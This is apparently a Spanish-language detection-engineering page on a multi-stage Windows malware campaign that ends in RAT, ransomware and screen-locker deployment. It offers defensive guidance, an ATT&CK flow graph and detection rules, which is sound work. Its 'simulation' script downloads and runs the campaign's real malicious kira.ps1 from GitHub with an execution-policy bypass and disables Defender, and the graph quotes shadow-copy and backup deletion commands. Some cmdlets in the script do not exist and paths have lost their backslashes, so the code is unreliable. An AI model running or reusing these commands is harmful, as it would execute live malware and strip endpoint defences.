Dentro de una Operación de Malware para Windows en Múltiples Etapas
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
FortiGuard Labs identificó una cadena de intrusión multi-etapa en Windows que comienza con un archivo LNK malicioso entregado dentro de un archivo comprimido. El acceso directo lanza un cargador inicial de PowerShell que descarga guiones desde GitHub y luego entrega el control a un orquestador de VBScript ofuscado. El flujo de trabajo luego intenta debilitar las defensas del endpoint al deshabilitar Microsoft Defender, desplegar la utilidad Defendnot y preparar tanto Amnesia RAT como el ransomware Hakuna Matata. La operación concluye dejando caer un componente WinLocker que bloquea el escritorio para interrumpir la recuperación y presionar a las víctimas.
Investigación
Los investigadores reconstruyeron el camino de ejecución desde la etapa de PowerShell activada por LNK hasta un VBScript que reconstruye cargas útiles en memoria, culminando en el despliegue de ransomware y un comportamiento de bloqueo del escritorio. Las medidas defensivas fueron eludidas a través de ediciones específicas del registro y mediante la inyección de un DLL Defendnot en Taskmgr.exe. Se implementó persistencia usando una combinación de entradas de claves Run y artefactos de la carpeta de inicio para reactivar la cadena después de iniciar sesión.
Mitigación
Monitoree cambios sospechosos a nivel de políticas en el registro bajo HKLMSOFTWAREPoliciesMicrosoftWindows Defender y HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies. Bloquee la salida a URLs conocidas malignas de GitHub y Dropbox usadas para la preparación, y alerte sobre patrones de descarga y ejecución de PowerShell que se originen en inicios de LNK. Refuerce la lista de aplicaciones permitidas y ajuste los controles de ejecución de PowerShell para reducir el acceso inicial basado en guiones.
Respuesta
Si se detecta, aísle el endpoint, restaure la configuración del registro relacionada con Defender a un estado conocido bueno, y elimine archivos maliciosos y entradas de persistencia. Busque procesos activos de Amnesia RAT y actividad de red asociada, y valide si ocurrió la ejecución de ransomware. Realice un triage forense completo para dimensionar el impacto y erradicar restos, luego recupere los sistemas desde backups limpios donde sea posible.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff6666 %% Node definitions step_a[«<b>Acción</b> – <b>T1566.001 Phishing: Archivo Adjunto</b><br/>Archivo LNK ‘Задание_для_бухгалтера_02отдела.txt.lnk’ dentro de un archivo comprimido»] class step_a action step_b[«<b>Acción</b> – <b>T1059.001 PowerShell</b><br/>El archivo LNK inicia PowerShell con -ExecutionPolicy Bypass para descargar el script ‘kira.ps1′»] class step_b action step_c[«<b>Acción</b> – <b>T1027 Archivos o Información Ofuscados</b><br/>VBScript ‘SCRRC4ryuk.vbe’ codificado con Script Encoder Plus, Base64 y RC4»] class step_c action step_d[«<b>Acción</b> – <b>T1562.001 Deteriorar Defensas</b><br/>PowerShell deshabilita la protección en tiempo real de Microsoft Defender y agrega exclusiones amplias del sistema de archivos»] class step_d action step_e[«<b>Acción</b> – <b>T1218.010 Ejecución Proxy mediante Regsvr32</b><br/>Se despliega la DLL Defendnot y el cargador, inyectados en el proceso confiable Taskmgr.exe»] class step_e action step_f[«<b>Acción</b> – <b>T1548.002 Evadir UAC</b><br/>Se utiliza un bucle ShellExecute runas para obtener privilegios elevados»] class step_f action step_g[«<b>Acción</b> – <b>T1547.001 Claves Run del Registro / Carpeta de Inicio</b><br/>Crea una entrada HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run y copia ‘svchost.scr’ a %PROGRAMDATA% y a la carpeta de Inicio del usuario»] class step_g action step_h[«<b>Acción</b> – <b>T1082 Descubrimiento de Información del Sistema</b><br/>Recopila información del sistema operativo, hardware, dominio e IP mediante WMI»] class step_h action step_i[«<b>Acción</b> – <b>T1057 Descubrimiento de Procesos</b><br/>Enumera los procesos en ejecución para evitar ejecuciones duplicadas»] class step_i action step_j[«<b>Acción</b> – <b>T1113 Captura de Pantalla</b><br/>’TelegramWorker.scr’ captura pantallas (1.png–30.png) y las envía a través de Telegram»] class step_j action step_k[«<b>Acción</b> – <b>T1555 Credenciales desde Almacenes de Contraseñas</b><br/>Extrae contraseñas y cookies de navegadores Chromium utilizando DPAPI»] class step_k action step_l[«<b>Acción</b> – <b>T1539 Robo de Cookies de Sesión Web</b><br/>Recolecta cookies y tokens de navegadores»] class step_l action step_m[«<b>Acción</b> – <b>T1550.004 Uso de Material de Autenticación Alternativo</b><br/>Secuestra archivos de sesión de Telegram Desktop desde ‘tdata'»] class step_m action step_n[«<b>Acción</b> – <b>T1102.002 Servicio Web</b><br/>Envía los datos recopilados y capturas de pantalla al atacante mediante la API de bots de Telegram»] class step_n action step_o[«<b>Malware</b> – <b>T1486 Datos Cifrados para Impacto</b><br/>El ransomware Hakuna Matata ‘WmiPrvSE.scr’ cifra archivos con la extensión @NeverMind12F»] class step_o malware step_p[«<b>Acción</b> – <b>T1490 Inhibir la Recuperación del Sistema</b><br/>Ejecuta ‘reagentc /disable’, ‘wbadmin delete catalog’, ‘vssadmin delete shadows /all'»] class step_p action step_q[«<b>Malware</b> – <b>T1499 Denegación de Servicio en el Endpoint</b><br/>El WinLocker ‘gedion.scr’ crea el mutex WINLOCK… y bloquea el escritorio»] class step_q malware %% Connections step_a –>|conduce_a| step_b step_b –>|conduce_a| step_c step_c –>|conduce_a| step_d step_d –>|conduce_a| step_e step_e –>|conduce_a| step_f step_f –>|conduce_a| step_g step_g –>|conduce_a| step_h step_h –>|conduce_a| step_i step_i –>|conduce_a| step_j step_j –>|conduce_a| step_k step_k –>|conduce_a| step_l step_l –>|conduce_a| step_m step_m –>|conduce_a| step_n step_n –>|conduce_a| step_o step_o –>|conduce_a| step_p step_p –>|conduce_a| step_q
Flujo de Ataque
Detecciones
Proceso Sospechoso Utiliza una URL en la Línea de Comandos (via cmdline)
Ver
Desactivar Monitorización en Tiempo Real de Windows Defender y Otros Cambios de Preferencias (via cmdline)
Ver
IOCs (HashSha256) para detectar: Dentro de una Campaña de Malware Multi-etapa de Windows
Ver
Actividad de Red Maliciosa y C2 vía GitHub, Dropbox, Telegram [Conexión de Red de Windows]
Ver
Ejecución de PowerShell en Campaña de Malware de Windows [Windows Powershell]
Ver
Ejecución de PowerShell y CMD con Señuelo Install.exe [Creación de Procesos de Windows]
Ver
Ejecución de Simulación
Requisito Previo: El Chequeo Previo de Telemetría & Línea Base debe haber sido aprobado.
Racional: Esta sección detalla la ejecución precisa de la técnica adversaria (TTP) diseñada para disparar la regla de detección. Los comandos y el relato DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico incorrecto.
-
Narrativa de Ataque & Comandos:
Un adversario que ha logrado un acceso inicial en el endpoint desea descargar y ejecutar una carga útil maliciosa de PowerShell mientras evade la política de ejecución predeterminada. UtilizanInvoke‑Expression(iex) combinado conInvoke‑WebRequest(irm) para extraer un guión desde una URL cruda remota de GitHub, ejecutándolo bajo-ExecutionPolicy Bypass. Después de establecer persistencia, desactivan el monitoreo en tiempo real de Windows Defender para evitar la detección de cargas útiles posteriores. Estos pasos generan directamente las cadenas de la línea de comandos que la regla Sigma observa. -
Script de Prueba de Regresión:
# -------------------------------------------------------------- # Paso 1 – Ejecutar guión remoto con ExecutionPolicy Bypass # -------------------------------------------------------------- $maliciousUrl = "https://github.com/Mafin111/MafinREP111/raw/refs/heads/main/ps1/kira.ps1" powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "irm '$maliciousUrl' | iex" # -------------------------------------------------------------- # Paso 2 – Desactivar el monitoreo en tiempo real de Windows Defender # -------------------------------------------------------------- # Desactivar la protección en tiempo real Disable-MpPreference -DisableRealtimeMonitoring $true # Agregar un camino de exclusión (simulado) Add-MpPreference -ExclusionPath "C:TempExcludeFolder" -
Comandos de Limpieza:
# Re-activar el monitoreo en tiempo real de Windows Defender Enable-MpPreference -DisableRealtimeMonitoring $false # Eliminar el camino de exclusión (si existe) Remove-MpPreference -ExclusionPath "C:TempExcludeFolder" -ErrorAction SilentlyContinue # Detener cualquier proceso de PowerShell persistente iniciado por el guión Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'kira.ps1'} | Stop-Process -Force